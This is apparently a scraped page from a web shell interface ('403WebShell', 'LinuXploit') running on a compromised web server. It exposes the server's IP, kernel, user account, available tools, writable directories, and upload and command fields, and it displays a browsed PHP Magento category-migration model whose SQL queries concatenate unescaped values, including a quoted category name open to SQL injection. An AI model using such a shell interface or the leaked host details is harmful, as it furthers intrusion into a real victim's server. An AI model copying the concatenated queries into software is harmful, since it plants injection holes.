Warning: chmod(): Operation not permitted in /var/www/alexvillarreal/wp-content/plugins/custom-post-type-ui/custom-post-type-ui.php on line 8
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.114
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/brainwavemx/app/Model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/brainwavemx/app/Model/MigrateMagentoCategoryModel.php
<?php

declare(strict_types=1);

namespace App\Model;

use Mosaico\Model\BaseModel;

class MigrateMagentoCategoryModel extends BaseModel
{
	public function getParentCategories(): bool|object
	{
	    $query = $this->connectMagento()->query("
	    		 SELECT 
	    		 A.entity_id,
	    		 B.value as name_0,
	    		 C.value as name_1,
	    		 D.value as status_0,
	    		 E.value as status_1
	    		 FROM catalog_category_entity A
	    		 LEFT JOIN catalog_category_entity_varchar B
	    		 ON A.entity_id = B.row_id
	    		 AND B.attribute_id = 133
	    		 AND B.store_id = 0
	    		 LEFT JOIN catalog_category_entity_varchar C
	    		 ON A.entity_id = C.row_id
	    		 AND C.attribute_id = 133
	    		 AND C.store_id = 1
	    		 LEFT JOIN catalog_category_entity_int D
	    		 ON A.entity_id = D.row_id
	    		 AND D.attribute_id = 136
	    		 AND D.store_id = 0
	    		 LEFT JOIN catalog_category_entity_int E
	    		 ON A.entity_id = E.row_id
	    		 AND E.attribute_id = 136
	    		 AND E.store_id = 1
	    		 WHERE parent_id = 2
	    	");
	    return $query;
	}

	public function getChildCategories(int $parent_id): bool|object
	{
	    $query = $this->connectMagento()->query("
	    		 SELECT 
	    		 A.entity_id,
	    		 B.value as name_0,
	    		 C.value as name_1,
	    		 D.value as status_0,
	    		 E.value as status_1
	    		 FROM catalog_category_entity A
	    		 LEFT JOIN catalog_category_entity_varchar B
	    		 ON A.entity_id = B.row_id
	    		 AND B.attribute_id = 133
	    		 AND B.store_id = 0
	    		 LEFT JOIN catalog_category_entity_varchar C
	    		 ON A.entity_id = C.row_id
	    		 AND C.attribute_id = 133
	    		 AND C.store_id = 1
	    		 LEFT JOIN catalog_category_entity_int D
	    		 ON A.entity_id = D.row_id
	    		 AND D.attribute_id = 136
	    		 AND D.store_id = 0
	    		 LEFT JOIN catalog_category_entity_int E
	    		 ON A.entity_id = E.row_id
	    		 AND E.attribute_id = 136
	    		 AND E.store_id = 1
	    		 WHERE parent_id = " . $parent_id . "
	    	");
	    return $query;
	}

	public function insertCategoria(array $category, int $parent_id): void
	{
	    $query = $this->connect()->query("
	            INSERT IGNORE INTO catalogo_categorias SET
	            id_magento = " . $category['entity_id'] . ",
	            parent_id = " . $parent_id . ",
	            nombre_categoria = '" . $category['name'] . "'
	        ");
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit